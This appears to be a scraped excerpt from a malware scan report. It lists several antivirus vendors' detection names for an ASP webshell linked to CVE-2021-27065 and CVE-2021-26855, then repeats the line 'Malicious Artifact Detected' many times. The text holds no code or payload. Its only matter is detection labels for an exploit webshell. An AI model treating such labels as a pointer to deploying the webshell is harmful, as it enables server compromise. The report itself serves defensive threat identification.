Asp.Trojan.Webshell0321-9840176-0 Bitdefender Generic.ASP.WebShell.H.9ABE8BEE McAfee Exploit-CVE2021-27065.a IKARUS Exploit.ASP.CVE-2021-27065 Cyren ASP/CVE-2021-27065.A.gen!Camelot Symantec Trojan.Chinchop Trend Micro HouseCall Backdoo.43A0A8D2 Sophos Troj/WebShel-L Emsisoft Generic.ASP.WebShell.H.9ABE8BEE (B) Trend Micro Backdoo.43A0A8D2 Avira EXP/CVE-2021-27065.1 NANOAV Exploit.Script.CVE-2021-26855.iwqhlf Lavasoft Generic.ASP.WebShell.H.9ABE8BEE Quick Heal CVE-2021-26855.Webshll.41350 10365227.r3.v1 Malicious Code Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected Malicious Artifact Detected